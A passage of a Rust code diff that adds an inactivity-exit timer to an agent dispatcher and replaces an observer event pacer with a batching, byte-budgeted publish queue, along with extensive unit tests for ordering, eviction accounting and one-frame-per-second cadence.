&ctx) { + for (channel_id, thread_tags) in + dispatch_pending(&mut pool, &mut queue, &ctx, &mut last_activity) + { typing_channels.insert(channel_id, thread_tags); } } @@ -2275,7 +2578,7 @@ async fn tokio_main() -> Result<()> { } if pool_ready { for (channel_id, thread_tags) in - dispatch_pending(&mut pool, &mut queue, &ctx) + dispatch_pending(&mut pool, &mut queue, &ctx, &mut last_activity) { typing_channels.insert(channel_id, thread_tags); } @@ -2292,6 +2595,27 @@ async fn tokio_main() -> Result<()> { } None } + _ = async { + match inactivity_reaper.as_mut() { + Some(timer) => timer.tick().await, + None => std::future::pending().await, + } + } => { + let _ = result_rx; + if inactivity_expired( + last_activity, + tokio::time::Instant::now(), + inactivity_bound, + queue.has_in_flight() || heartbeat_in_flight, + ) { + tracing::info!( + inactivity_seconds = config.exit_after_inactivity_secs, + "inactivity bound reached — exiting gracefully" + ); + let _ = shutdown_tx.send(()); + } + None + } _ = async { match heartbeat.as_mut() { Some(hb) => hb.tick().await, @@ -2304,7 +2628,7 @@ async fn tokio_main() -> Result<()> { } else if queue.has_flushable_work() { tracing::debug!("heartbeat_skipped_events"); for (channel_id, thread_tags) in - dispatch_pending(&mut pool, &mut queue, &ctx) + dispatch_pending(&mut pool, &mut queue, &ctx, &mut last_activity) { typing_channels.insert(channel_id, thread_tags); } @@ -2402,7 +2726,9 @@ async fn tokio_main() -> Result<()> { { break; } - for (channel_id, thread_tags) in dispatch_pending(&mut pool, &mut queue, &ctx) { + for (channel_id, thread_tags) in + dispatch_pending(&mut pool, &mut queue, &ctx, &mut last_activity) + { typing_channels.insert(channel_id, thread_tags); } } @@ -2425,7 +2751,9 @@ async fn tokio_main() -> Result<()> { tracing::error!("all agents dead — exiting"); break; } - for (channel_id, thread_tags) in dispatch_pending(&mut pool, &mut queue, &ctx) { + for (channel_id, thread_tags) in + dispatch_pending(&mut pool, &mut queue, &ctx, &mut last_activity) + { typing_channels.insert(channel_id, thread_tags); } } @@ -2567,7 +2895,9 @@ async fn tokio_main() -> Result<()> { // tear down the in-flight task; on its completion the // queue drains. We still try here in case the in-flight // task has already returned. - for (channel_id, thread_tags) in dispatch_pending(&mut pool, &mut queue, &ctx) { + for (channel_id, thread_tags) in + dispatch_pending(&mut pool, &mut queue, &ctx, &mut last_activity) + { typing_channels.insert(channel_id, thread_tags); } } @@ -2594,7 +2924,7 @@ async fn tokio_main() -> Result<()> { None, ); for (channel_id, thread_tags) in - dispatch_pending(&mut pool, &mut queue, &ctx) + dispatch_pending(&mut pool, &mut queue, &ctx, &mut last_activity) { typing_channels.insert(channel_id, thread_tags); } @@ -2928,6 +3258,7 @@ fn dispatch_pending( pool: &mut AgentPool, queue: &mut EventQueue, ctx: &Arc, + last_activity: &mut tokio::time::Instant, ) -> Vec<(Uuid, ThreadTags)> { let mut dispatched_channels = Vec::new(); loop { @@ -3007,6 +3338,7 @@ fn dispatch_pending( }, ); dispatched_channels.push((channel_id, typing_scope)); + *last_activity = tokio::time::Instant::now(); } tracing::debug!( dispatched = dispatched_channels.len(), @@ -4942,12 +5274,21 @@ mod observer_snapshot_race_tests { // The run loop has exited, dropping the publisher; drain the forwarded // events until the channel closes (deterministic — no try_recv race - // with the test_pair forwarding task). + // with the test_pair forwarding task). With per-tick batching the three + // events arrive inside batch envelopes (or unwrapped when a drain held + // exactly one event); unwrap both shapes. let mut markers = Vec::new(); while let Some(event) = published_rx.recv().await { let payload: serde_json::Value = decrypt_observer_payload(&owner_keys, &event).expect("decrypt published frame"); - markers.push(payload["payload"]["marker"].as_str().unwrap().to_string()); + match payload["payload"]["events"].as_array() { + Some(inner) => markers.extend( + inner + .iter() + .map(|e| e["payload"]["marker"].as_str().unwrap().to_string()), + ), + None => markers.push(payload["payload"]["marker"].as_str().unwrap().to_string()), + } } assert_eq!( markers, @@ -4958,36 +5299,865 @@ mod observer_snapshot_race_tests { } #[cfg(test)] -mod observer_publish_pacer_tests { +mod observer_publish_queue_tests { use super::*; + fn event(seq: u64, kind: &str, channel: Option<&str>) -> observer::ObserverEvent { + observer::ObserverEvent { + seq, + timestamp: format!("2026-04-29T04:00:{:02}Z", seq.min(59)), + kind: kind.to_string(), + agent_index: Some(0), + channel_id: channel.map(ToOwned::to_owned), + session_id: Some("session-1".to_string()), + turn_id: Some("turn-1".to_string()), + started_at: None, + payload: serde_json::json!({ "seq": seq }), + } + } + + fn queue_of(events: Vec) -> ObserverPublishQueue { + let mut queue = ObserverPublishQueue::default(); + for event in events { + queue.ingest(event); + } + queue + } + + /// Collect every frame the queue will produce, one publish slot at a time. + fn drain_frames(queue: &mut ObserverPublishQueue) -> Vec { + let mut frames = Vec::new(); + while !queue.is_empty() { + frames.push(queue.next_frame().expect("queue not empty")); + } + frames + } + + /// Inner seqs of a frame, whether it is an envelope or an unwrapped + /// singleton. + fn frame_seqs(frame: &observer::ObserverEvent) -> Vec { + match frame.payload.get("events").and_then(|v| v.as_array()) { + Some(inner) => inner.iter().map(|e| e["seq"].as_u64().unwrap()).collect(), + None => vec![frame.seq], + } + } + + /// Retained bytes computed by WALKING the entries, independently of the + /// queue's own accumulator. Cap regressions must assert on this, not on + /// `total_pending_bytes()` — asserting the counter against itself passed + /// while the process retained ~2x the budget (Sami/Max round 3: each + /// pending coalescer entry holds the first chunk's text twice, in the + /// serialized skeleton AND the extracted `text` copy). + fn walked_retained_bytes(queue: &ObserverPublishQueue) -> usize { + let fifo: usize = queue + .events + .iter() + .map(|(_, _, event)| serialized_len(event)) + .sum(); + let coalescer: usize = queue + .coalescer + .pending + .iter() + .map(|pending| serialized_len(&pending.event) + pending.text.len()) + .sum(); + fifo + coalescer + } + + /// The walker above is itself an instrument, and every cap test asks it + /// only for `<= CAP` — a blinded walker (missing an arm, or returning 0) + /// would satisfy all of them while hiding exactly the 2x overshoot it was + /// added to catch (Sami round 5, M17-M20). Pin it two-sided: it must SEE + /// the double retention, and it must agree with the accumulator EXACTLY + /// while both stores are non-empty — neither may drift. + #[test] + fn walked_retained_bytes_agrees_with_the_accumulator_exactly() { + fn chunk(seq: u64, message_id: &str, text: &str) -> observer::ObserverEvent { + let mut e = event(seq, "acp_read", Some("chan-a")); + e.payload = serde_json::json!({ + "jsonrpc": "2.0", + "method": "session/update", + "params": { + "sessionId": "session-1", + "update": { + "sessionUpdate": "agent_message_chunk", + "messageId": message_id, + "content": { "type": "text", "text": text }, + }, + }, + }); + e + } + + let text = "w".repeat(7_000); + let mut queue = ObserverPublishQueue::default(); + // One pending chunk: its text lives in the serialized skeleton AND + // the extracted copy, so a walker blind to either arm reads short. + queue.ingest(chunk(1, "message-a", &text)); + assert!( + walked_retained_bytes(&queue) >= 2 * text.len(), + "the walker must SEE the first chunk's text twice \ + (skeleton + extracted copy), got {}", + walked_retained_bytes(&queue) + ); + + // Populate BOTH stores: the non-chunk event flushes message-a into + // the FIFO and queues itself; fresh pending keys (plus a same-key + // append) rebuild the coalescer side. + queue.ingest(event(2, "tool_call", Some("chan-a"))); + queue.ingest(chunk(3, "message-b", &text)); + queue.ingest(chunk(4, "message-b", &text)); + queue.ingest(chunk(5, "message-c", &text)); + assert!( + !queue.events.is_empty() && !queue.coalescer.pending.is_empty(), + "both arms must be non-empty for the agreement check to bind" + ); + assert_eq!( + queue.total_pending_bytes(), + walked_retained_bytes(&queue), + "accumulator and entry-walk must agree exactly: neither may drift" + ); + } + + /// Two or more pending events for one channel ship as a single batch + /// envelope whose payload carries every inner event in arrival order. + #[test] + fn multiple_events_ship_as_one_envelope_in_order() { + let mut queue = queue_of(vec![ + event(1, "turn_started", Some("chan-a")), + event(2, "acp_read", Some("chan-a")), + event(3, "acp_write", Some("chan-a")), + ]); + + let frame = queue.next_frame().expect("one frame"); + assert!(queue.is_empty(), "one channel, one publish slot"); + assert_eq!(frame.kind, OBSERVER_BATCH_KIND); + assert_eq!(frame.seq, 3, "envelope mirrors the last inner event"); + assert_eq!(frame_seqs(&frame), [1, 2, 3], "arrival order preserved"); + let inner = frame.payload["events"].as_array().expect("events array"); + assert_eq!(inner[1]["kind"], "acp_read", "inner events keep their kind"); + } + + /// A single pending event is published unwrapped — no envelope, so + /// consumers that predate batching still understand quiet periods. + #[test] + fn a_single_event_stays_unwrapped() { + let mut queue = queue_of(vec![event(7, "turn_started", Some("chan-a"))]); + let frame = queue.next_frame().expect("one frame"); + assert!(queue.is_empty()); + assert_eq!(frame.kind, "turn_started"); + assert_eq!(frame.seq, 7); + } + + /// An empty queue yields no frame — a tick with nothing pending must not + /// publish anything. + #[test] + fn empty_queue_yields_no_frame() { + let mut queue = ObserverPublishQueue::default(); + assert!(queue.next_frame().is_none()); + assert!(queue.is_empty()); + } + + /// Frames never mix channels, and each channel's events keep their FIFO + /// order. Gathering is QUEUE-WIDE: the front event's channel collects its + /// events from anywhere in the queue (that is what keeps the drain rate + /// in bytes per slot under interleaving), so cross-channel frame order + /// MAY differ from arrival order — but a null-channel event is a barrier + /// nothing gathers across. + #[test] + fn frames_never_mix_channels_and_gather_queue_wide() { + let mut queue = queue_of(vec![ + event(1, "acp_read", Some("chan-a")), + event(2, "acp_write", Some("chan-a")), + event(3, "acp_read", Some("chan-b")), + event(4, "acp_read", Some("chan-a")), + event(5, "acp_read", None), + ]); + + let frames = drain_frames(&mut queue); + assert_eq!( + frames.len(), + 3, + "gathered: [1,2,4]@a, [3]@b, [5]@None — one frame each" + ); + for frame in &frames { + let channels: HashSet> = match frame.payload.get("events") { + Some(serde_json::Value::Array(inner)) => inner + .iter() + .map(|e| e["channelId"].as_str().map(ToOwned::to_owned)) + .collect(), + _ => std::iter::once(frame.channel_id.clone()).collect(), + }; + assert_eq!(channels.len(), 1, "a frame never mixes channels"); + } + assert_eq!( + frame_seqs(&frames[0]), + [1, 2, 4], + "chan-a gathers queue-wide, FIFO within the channel" + ); + assert_eq!(frames[0].channel_id.as_deref(), Some("chan-a")); + assert_eq!(frames[1].kind, "acp_read", "singleton stays unwrapped"); + assert_eq!(frames[1].channel_id.as_deref(), Some("chan-b")); + assert_eq!(frames[2].channel_id, None); + } + + /// A NULL-channel event is a barrier: channel events queued BEHIND it + /// must not gather into a frame ahead of it, so causally-global events + /// (`agent_panic`-class) keep their exact order against every channel. + /// The null event itself ships only its contiguous front run. + #[test] + fn null_channel_events_are_gather_barriers() { + let mut queue = queue_of(vec![ + event(1, "acp_read", Some("chan-a")), + event(2, "acp_read", Some("chan-b")), + event(3, "agent_panic", None), + event(4, "acp_write", Some("chan-a")), + ]); + + let frames = drain_frames(&mut queue); + let published: Vec> = frames.iter().map(frame_seqs).collect(); + assert_eq!( + published, + [vec![1], vec![2], vec![3], vec![4]], + "seq 4 must not gather past the null barrier into frame 1" + ); + } + + /// The drain-rate regression Sami measured: with two channels strictly + /// alternating, a front-run packer degrades to ONE event per slot + /// (~275 B/s regardless of the 64KB frame budget). Queue-wide gathering + /// must drain an interleaved backlog in ~ceil(events / per-frame-fit) + /// slots per channel, not one slot per event. + #[test] + fn interleaved_channels_drain_at_bytes_per_slot_not_events_per_slot() { + let mut events = Vec::new(); + for i in 0..100u64 { + events.push(event(2 * i + 1, "acp_read", Some("chan-a"))); + events.push(event(2 * i + 2, "acp_read", Some("chan-b"))); + } + let mut queue = queue_of(events); + + let frames = drain_frames(&mut queue); + assert!( + frames.len() <= 4, + "200 tiny alternating events must gather into a few full frames, \ + got {} (front-run packing would need 200 slots)", + frames.len() + ); + for frame in &frames { + assert!(serialized_len(frame) <= OBSERVER_MAX_PLAINTEXT_LEN); + } + // Within each channel, FIFO order survives the gather. + let mut seqs_a = Vec::new(); + let mut seqs_b = Vec::new(); + for frame in &frames { + match frame.channel_id.as_deref() { + Some("chan-a") => seqs_a.extend(frame_seqs(frame)), + Some("chan-b") => seqs_b.extend(frame_seqs(frame)), + other => panic!("unexpected channel {other:?}"), + } + } + assert!(seqs_a.windows(2).all(|w| w[0] < w[1]), "chan-a FIFO"); + assert!(seqs_b.windows(2).all(|w| w[0] < w[1]), "chan-b FIFO"); + assert_eq!(seqs_a.len() + seqs_b.len(), 200, "nothing lost"); + } + + /// A same-channel backlog that cannot fit one 64KB frame splits across + /// SUCCESSIVE publish slots — never multiple frames from one slot — with + /// every frame under the cap and no event lost or reordered. + #[test] + fn oversized_backlogs_split_across_publish_slots_under_the_cap() { + let big_text = "x".repeat(30_000); + let mut queue = queue_of( + (1..=6) + .map(|seq| { + let mut e = event(seq, "acp_read", Some("chan-a")); + e.payload = serde_json::json!({ "seq": seq, "text": big_text }); + e + }) + .collect(), + ); + + let frames = drain_frames(&mut queue); + assert!( + frames.len() > 1, + "six 30KB events cannot fit one 64KB frame" + ); + let mut seen = Vec::new(); + for frame in &frames { + assert!( + serialized_len(frame) <= OBSERVER_MAX_PLAINTEXT_LEN, + "every emitted frame must fit the plaintext cap" + ); + seen.extend(frame_seqs(frame)); + } + assert_eq!( + seen, + [1, 2, 3, 4, 5, 6], + "no event lost or reordered by splitting" + ); + } + + /// The queue preserves the coalescer's ordering rule: a non-chunk event + /// force-flushes pending chunk text ahead of itself, so merged chunks can + /// never leapfrog a tool call that arrived after them. + #[test] + fn non_chunk_events_flush_pending_chunks_ahead_of_themselves() { + fn chunk(seq: u64, text: &str) -> observer::ObserverEvent { + let mut e = event(seq, "acp_read", Some("chan-a")); + e.payload = serde_json::json!({ + "params": { "update": { + "sessionUpdate": "agent_message_chunk", + "messageId": "m1", + "content": { "text": text }, + }} + }); + e + } + + let mut queue = ObserverPublishQueue::default(); + queue.ingest(chunk(1, "hello ")); + queue.ingest(chunk(2, "world")); + queue.ingest(event(3, "tool_call", Some("chan-a"))); + + let frame = queue.next_frame().expect("one frame"); + assert!(queue.is_empty()); + let inner = frame.payload["events"].as_array().expect("batch of 2"); + assert_eq!(inner.len(), 2, "two chunks coalesce into one event"); + assert_eq!( + inner[0]["payload"]["params"]["update"]["content"]["text"], "hello world", + "chunk text merged before the tool call" + ); + assert_eq!(inner[1]["kind"], "tool_call"); + assert!(inner[0]["seq"].as_u64() < inner[1]["seq"].as_u64()); + } + + /// Chunks still pending inside the coalescer (no non-chunk flushed them) + /// are picked up by the publish slot itself, not stranded. + #[test] + fn a_publish_slot_flushes_pending_coalesced_chunks() { + let mut e = event(1, "acp_read", Some("chan-a")); + e.payload = serde_json::json!({ + "params": { "update": { + "sessionUpdate": "agent_message_chunk", + "messageId": "m1", + "content": { "text": "buffered" }, + }} + }); + let mut queue = ObserverPublishQueue::default(); + queue.ingest(e); + assert!(!queue.is_empty(), "pending chunk counts as queued work"); + + let frame = queue.next_frame().expect("chunk must ship"); + assert!(queue.is_empty()); + assert_eq!( + frame.payload["params"]["update"]["content"]["text"], + "buffered" + ); + } + + /// Sami's ceiling assertion: when sustained input outruns the one-frame + /// drain budget for longer than the queue's byte budget, the OLDEST events + /// drop with accounting — never silently — and everything that survives + /// publishes in order with nothing else lost. + #[test] + fn over_budget_floods_drop_oldest_with_accounting() { + let big_text = "y".repeat(10_000); + let total = 500usize; // ~5MB of ~10KB events > 4MiB budget + let mut queue = ObserverPublishQueue::default(); + for seq in 1..=total as u64 { + let mut e = event(seq, "acp_read", Some("chan-a")); + e.payload = serde_json::json!({ "seq": seq, "text": big_text }); + queue.ingest(e); + } + + assert!( + queue.dropped_events > 0, + "a 5MB backlog must overflow the 4MiB budget" + ); + assert!( + walked_retained_bytes(&queue) <= OBSERVER_PENDING_QUEUE_MAX_BYTES, + "eviction must restore the byte budget (entry-walked), got {}", + walked_retained_bytes(&queue) + ); + + let frames = drain_frames(&mut queue); + let published: Vec = frames.iter().flat_map(frame_seqs).collect(); + let expected: Vec = (queue.dropped_events + 1..=total as u64).collect(); + assert_eq!( + published, expected, + "exactly the oldest `dropped_events` events are missing; the rest \ + publish in order" + ); + assert_eq!( + published.len() as u64 + queue.dropped_events, + total as u64, + "accounting: published + dropped == ingested" + ); + } + + /// Max's coalescer-bypass regression: a flood of chunks with DISTINCT + /// messageIds never flushes on its own, so every chunk sits in the + /// coalescer's pending buffer. TRUE retained bytes — walked from the + /// entries, never the queue's own accumulator — MUST respect the byte + /// budget with event-level drop accounting. Pre-fix this retained ~25MB + /// against the 4 MiB cap with `pending_bytes == 0` and zero drops; the + /// round-3 refinement (Sami/Max) caught the accumulator itself reading + /// under cap while true retention was 1.99x over. + #[test] + fn distinct_key_chunk_floods_are_bounded_by_the_byte_budget() { + let big_text = "z".repeat(50_000); + let total = 500u64; // ~25MB pending chunk text vs a 4MiB budget + let mut queue = ObserverPublishQueue::default(); + for seq in 1..=total { + let mut e = event(seq, "acp_read", Some("chan-a")); + e.payload = serde_json::json!({ + "jsonrpc": "2.0", + "method": "session/update", + "params": { + "sessionId": "session-1", + "update": { + "sessionUpdate": "agent_message_chunk", + "messageId": format!("message-{seq}"), + "content": { "type": "text", "text": big_text }, + }, + }, + }); + queue.ingest(e); + } + + let walked = walked_retained_bytes(&queue); + assert!( + walked <= OBSERVER_PENDING_QUEUE_MAX_BYTES, + "TRUE retained bytes (walked from entries) must respect the cap, \ + got {walked}" + ); + assert!( + queue.total_pending_bytes() >= walked, + "the accumulator must never under-count true retention \ + (accumulator {} < walked {walked})", + queue.total_pending_bytes() + ); + assert!( + queue.dropped_events > 0, + "a ~25MB distinct-key chunk flood must record drops" + ); + // Event-level accounting: everything that survives publishes, and + // survivors + dropped == ingested. + let frames = drain_frames(&mut queue); + let survived: u64 = frames.iter().map(|f| frame_seqs(f).len() as u64).sum(); + assert_eq!( + survived + queue.dropped_events, + total, + "accounting: published + dropped == ingested" + ); + // The survivors are the NEWEST events (drop-oldest). + let last_frame_seqs = frame_seqs(frames.last().expect("frames")); + assert_eq!(*last_frame_seqs.last().expect("seqs"), total); + } + + /// Max's merged-chunk accounting regression: one coalescer entry can + /// represent MANY generated observer events (same-messageId chunks merge + /// in place), so evicting it must charge every merged source event to + /// `dropped_events`, not 1 per retained entry. Pre-fix, evicting an entry + /// that merged 50 chunks recorded `dropped_events == 1` and 49 generated + /// events vanished from the accounting. + #[test] + fn evicting_a_merged_chunk_entry_accounts_every_source_event() { + fn chunk(seq: u64, message_id: &str, text: &str) -> observer::ObserverEvent { + let mut e = event(seq, "acp_read", Some("chan-a")); + e.payload = serde_json::json!({ + "jsonrpc": "2.0", + "method": "session/update", + "params": { + "sessionId": "session-1", + "update": { + "sessionUpdate": "agent_message_chunk", + "messageId": message_id, + "content": { "type": "text", "text": text }, + }, + }, + }); + e + } + + let mut queue = ObserverPublishQueue::default(); + // 50 × 1KB chunks under ONE messageId merge into a single pending + // coalescer entry — the oldest item anywhere in the queue. + let merged_text = "m".repeat(1_000); + let merged_sources = 50u64; + for seq in 1..=merged_sources { + queue.ingest(chunk(seq, "message-merged", &merged_text)); + } + // Flood with distinct-key 50KB chunks until the byte budget evicts + // the oldest entries — the merged entry goes first. + let flood_text = "f".repeat(50_000); + let flood = 100u64; + for seq in 1..=flood { + queue.ingest(chunk( + merged_sources + seq, + &format!("message-{seq}"), + &flood_text, + )); + } + + assert!( + walked_retained_bytes(&queue) <= OBSERVER_PENDING_QUEUE_MAX_BYTES, + "eviction must restore the byte budget (entry-walked), got {}", + walked_retained_bytes(&queue) + ); + let frames = drain_frames(&mut queue); + assert!( + !frames + .iter() + .flat_map(frame_seqs) + .any(|seq| seq <= merged_sources), + "the merged entry (globally oldest) must have been evicted" + ); + // Every survivor is an unmerged distinct-key chunk (1 source each), + // so source-event accounting must close exactly: the merged entry's + // eviction charges all 50 sources. + let survived: u64 = frames.iter().map(|f| frame_seqs(f).len() as u64).sum(); + assert_eq!( + survived + queue.dropped_events, + merged_sources + flood, + "accounting: published sources + dropped sources == ingested" + ); + } + + /// Sami's M13 / Max's forced-flush probe: the OTHER eviction arm. A + /// merged entry FLUSHED into the publish FIFO (by a non-chunk event) must + /// still charge every absorbed source on eviction — the FIFO stores the + /// per-entry count precisely so the ledger survives flush. The + /// coalescer-side regression above never exercises this arm; mutating the + /// FIFO eviction to `dropped += 1` survived all 687 tests until this one. + #[test] + fn evicting_a_flushed_merged_entry_from_the_fifo_accounts_every_source_event() { + fn chunk(seq: u64, message_id: &str, text: &str) -> observer::ObserverEvent { + let mut e = event(seq, "acp_read", Some("chan-a")); + e.payload = serde_json::json!({ + "jsonrpc": "2.0", + "method": "session/update", + "params": { + "sessionId": "session-1", + "update": { + "sessionUpdate": "agent_message_chunk", + "messageId": message_id, + "content": { "type": "text", "text": text }, + }, + }, + }); + e + } + + let mut queue = ObserverPublishQueue::default(); + // 50 × 1KB chunks merge under one messageId in the coalescer… + let merged_text = "m".repeat(1_000); + let merged_sources = 50u64; + for seq in 1..=merged_sources { + queue.ingest(chunk(seq, "message-merged", &merged_text)); + } + // …then a non-chunk event force-flushes the merged entry into the + // publish FIFO. From here eviction happens on the FIFO arm. + queue.ingest(event(merged_sources + 1, "tool_call", Some("chan-a"))); + assert!( + queue.coalescer.pending.is_empty(), + "the non-chunk event must have flushed the merged entry" + ); + assert_eq!( + queue.events.front().expect("flushed entry queued").1, + merged_sources, + "the FIFO front must carry the merged source count" + ); + + // Distinct-key flood forces byte-budget eviction of the FIFO front. + let flood_text = "f".repeat(50_000); + let flood = 100u64; + for seq in 1..=flood { + queue.ingest(chunk( + merged_sources + 1 + seq, + &format!("message-{seq}"), + &flood_text, + )); + } + + assert!( + walked_retained_bytes(&queue) <= OBSERVER_PENDING_QUEUE_MAX_BYTES, + "eviction must restore the byte budget (entry-walked), got {}", + walked_retained_bytes(&queue) + ); + let frames = drain_frames(&mut queue); + assert!( + !frames + .iter() + .flat_map(frame_seqs) + .any(|seq| seq <= merged_sources), + "the flushed merged entry (globally oldest) must have been evicted" + ); + // Ledger in source units: survivors are unmerged (1 source each), the + // evicted merged FIFO entry must charge all 50 sources. + let survived: u64 = frames.iter().map(|f| frame_seqs(f).len() as u64).sum(); + let ingested = merged_sources + 1 + flood; + assert_eq!( + survived + queue.dropped_events, + ingested, + "accounting: published sources + dropped sources == ingested" + ); + } + + /// Under the byte budget the queue is lossless: every ingested event + /// publishes exactly once. + #[test] + fn under_budget_backlogs_are_lossless() { + let mut queue = queue_of( + (1..=200) + .map(|seq| event(seq, "acp_read", Some("chan-a"))) + .collect(), + ); + let frames = drain_frames(&mut queue); + let published: Vec = frames.iter().flat_map(frame_seqs).collect(); + assert_eq!(published, (1..=200).collect::>()); + assert_eq!(queue.dropped_events, 0); + } +} + +#[cfg(test)] +mod observer_publish_cadence_tests { + use super::*; + use nostr::Keys; + + /// Let every spawned task (publisher loop, test_pair forwarder) run to + /// quiescence WITHOUT advancing paused time. `yield_now` keeps this task + /// runnable, so tokio's auto-advance never fires here — time only moves + /// when the test says so. + async fn settle() { + for _ in 0..64 { + tokio::task::yield_now().await; + } + } + + fn recv_all(rx: &mut tokio::sync::mpsc::Receiver) -> Vec { + let mut out = Vec::new(); + while let Ok(event) = rx.try_recv() { + out.push(event); + } + out + } + + fn count_inner(owner: &Keys, event: &nostr::Event) -> usize { + let payload: serde_json::Value = + decrypt_observer_payload(owner, event).expect("decrypt frame"); + match payload["payload"]["events"].as_array() { + Some(inner) => inner.len(), + None => 1, + } + } + + fn emit_on(observer: &observer::ObserverHandle, channel: Option, marker: &str) { + observer.emit( + "test_event", + None, + &observer::context_for(channel, None, None), + serde_json::json!({ "marker": marker }), + ); + } + + /// THE regression Max demanded: with a backlog needing multiple frames + /// (two channels — a frame never mixes channels, so the backlog takes two + /// publish slots), no frame publishes before its tick. Startup publishes + /// NOTHING at t=0 (Sami's Finding 1: a full replay buffer must not burst + /// on reconnect), frame 1 arrives at +1s, frame 2 no earlier than +2s. #[tokio::test(start_paused = true)] - async fn starts_without_a_burst_and_spaces_frames() { - let started = tokio::time::Instant::now(); - let mut pacer = ObserverPublishPacer::new(); + async fn one_frame_per_second_and_no_startup_burst() { + let observer = observer::ObserverHandle::in_process(); + let agent_keys = Keys::generate(); + let owner_keys = Keys::generate(); + let (publisher, mut published_rx) = RelayEventPublisher::test_pair(); + + // Interleave channels so the backlog cannot fit one frame: each run + // boundary forces a new publish slot. + let chan_a = uuid::Uuid::new_v4(); + let chan_b = uuid::Uuid::new_v4(); + emit_on(&observer, Some(chan_a), "a1"); + emit_on(&observer, Some(chan_b), "b1"); + emit_on(&observer, Some(chan_a), "a2"); + + let rx = observer.subscribe(); + let snapshot = observer.snapshot(); + assert_eq!(snapshot.len(), 3, "all three preloaded in the snapshot"); + + let task = tokio::spawn(run_relay_observer_publisher( + snapshot, + rx, + publisher, + agent_keys.clone(), + agent_keys.public_key().to_hex(), + owner_keys.public_key().to_hex(), + owner_keys.public_key(), + )); + + // t=0: nothing may publish, no matter how full the snapshot was. + settle().await; + assert_eq!( + recv_all(&mut published_rx).len(), + 0, + "startup must not burst at t=0" + ); + + // t=0.999s: still nothing. + tokio::time::advance(Duration::from_millis(999)).await; + settle().await; + assert_eq!( + recv_all(&mut published_rx).len(), + 0, + "no frame may publish before the first tick" + ); + + // t=1s: exactly ONE frame — chan-a gathered queue-wide, so a1 AND a2 + // ride the first slot together. + tokio::time::advance(Duration::from_millis(1)).await; + settle().await; + let frames = recv_all(&mut published_rx); + assert_eq!(frames.len(), 1, "tick 1 publishes exactly one frame"); + assert_eq!(count_inner(&owner_keys, &frames[0]), 2, "a1 + a2 gathered"); + + // t=1.5s: between ticks, nothing. + tokio::time::advance(Duration::from_millis(500)).await; + settle().await; + assert_eq!( + recv_all(&mut published_rx).len(), + 0, + "frame 2 must wait for tick 2" + ); - pacer.wait().await; - let first = tokio::time::Instant::now(); - pacer.wait().await; - let second = tokio::time::Instant::now(); + // t=2s: the chan-b frame drains on its own tick. + tokio::time::advance(Duration::from_millis(500)).await; + settle().await; + assert_eq!(recv_all(&mut published_rx).len(), 1, "tick 2: one frame"); - assert_eq!(first.duration_since(started), OBSERVER_PUBLISH_INTERVAL); - assert_eq!(second.duration_since(first), OBSERVER_PUBLISH_INTERVAL); + // Backlog drained; a quiet tick publishes nothing. + tokio::time::advance(Duration::from_secs(1)).await; + settle().await; + assert_eq!(recv_all(&mut published_rx).len(), 0, "quiet tick is quiet"); + + task.abort(); } + /// Shutdown is NOT a burst bypass: when the producer closes with a + /// backlog, the remaining frames still publish one per tick, and the loop + /// exits only after the queue is empty — paced, lossless, in order. + #[tokio::test(start_paused = true)] + async fn shutdown_drain_is_paced_and_lossless() { + let observer = observer::ObserverHandle::in_process(); + let agent_keys = Keys::generate(); + let owner_keys = Keys::generate(); + let (publisher, mut published_rx) = RelayEventPublisher::test_pair(); + + let chan_a = uuid::Uuid::new_v4(); + let chan_b = uuid::Uuid::new_v4(); + emit_on(&observer, Some(chan_a), "a1"); + emit_on(&observer, Some(chan_b), "b1"); + emit_on(&observer, Some(chan_a), "a2"); + + let rx = observer.subscribe(); + let snapshot = observer.snapshot(); + // Close the broadcast channel immediately: the entire drain happens + // in "shutdown" mode. + drop(observer); + + let task = tokio::spawn(run_relay_observer_publisher( + snapshot, + rx, + publisher, + agent_keys.clone(), + agent_keys.public_key().to_hex(), + owner_keys.public_key().to_hex(), + owner_keys.public_key(), + )); + + settle().await; + assert_eq!( + recv_all(&mut published_rx).len(), + 0, + "shutdown drain must not burst at t=0" + ); + + let mut markers = Vec::new(); + for tick in 1..=2 { + tokio::time::advance(Duration::from_secs(1)).await; + settle().await; + let frames = recv_all(&mut published_rx); + assert_eq!(frames.len(), 1, "shutdown tick {tick}: exactly one frame"); + let payload: serde_json::Value = + decrypt_observer_payload(&owner_keys, &frames[0]).expect("decrypt"); + match payload["payload"]["events"].as_array() { + Some(inner) => markers.extend( + inner + .iter() + .map(|e| e["payload"]["marker"].as_str().unwrap().to_string()), + ), + None => markers.push(payload["payload"]["marker"].as_str().unwrap().to_string()), + } + } + // Gather-packing: chan-a (a1+a2) ships tick 1, chan-b tick 2. + assert_eq!(markers, ["a1", "a2", "b1"], "paced drain loses nothing"); + + // Queue empty + closed: the loop must have exited on its own. + tokio::time::advance(Duration::from_secs(1)).await; + settle().await; + assert!(task.is_finished(), "publisher exits after paced drain"); + } + + /// Pins `MissedTickBehavior::Skip` (Sami's M6 mutant): when the publisher + /// misses ticks — relay backpressure can stall the tick arm past several + /// deadlines, since `publish_event` awaits a bounded mpsc — the interval + /// must fire ONE catch-up tick and realign, not fire once per missed + /// deadline. With `Burst`, a 10s stall against a multi-frame backlog + /// would replay all 10 missed ticks back-to-back: an unpaced burst that + /// bypasses exactly what the pacer exists to prevent. #[tokio::test(start_paused = true)] - async fn limits_frames_in_each_rolling_minute() { - let mut pacer = ObserverPublishPacer::new(); - pacer.wait().await; - let first = tokio::time::Instant::now(); - for _ in 1..OBSERVER_PUBLISH_LIMIT_PER_MINUTE { - pacer.wait().await; + async fn missed_ticks_skip_instead_of_bursting() { + let observer = observer::ObserverHandle::in_process(); + let agent_keys = Keys::generate(); + let owner_keys = Keys::generate(); + let (publisher, mut published_rx) = RelayEventPublisher::test_pair(); + + // Three channels => three frames pending (a frame never mixes + // channels), so a bursting interval would have work for every + // spurious catch-up tick. + for chan in 0..3 { + emit_on(&observer, Some(uuid::Uuid::new_v4()), &format!("c{chan}")); } + let rx = observer.subscribe(); + let snapshot = observer.snapshot(); + + let task = tokio::spawn(run_relay_observer_publisher( + snapshot, + rx, + publisher, + agent_keys.clone(), + agent_keys.public_key().to_hex(), + owner_keys.public_key().to_hex(), + owner_keys.public_key(), + )); + settle().await; - pacer.wait().await; - let ninety_first = tokio::time::Instant::now(); + // Jump 10 seconds in ONE advance — the loop was never polled in + // between, exactly like a stall across 10 deadlines. + tokio::time::advance(Duration::from_secs(10)).await; + settle().await; + assert_eq!( + recv_all(&mut published_rx).len(), + 1, + "Skip: one catch-up frame after a stall — Burst would publish \ + one per missed deadline" + ); - 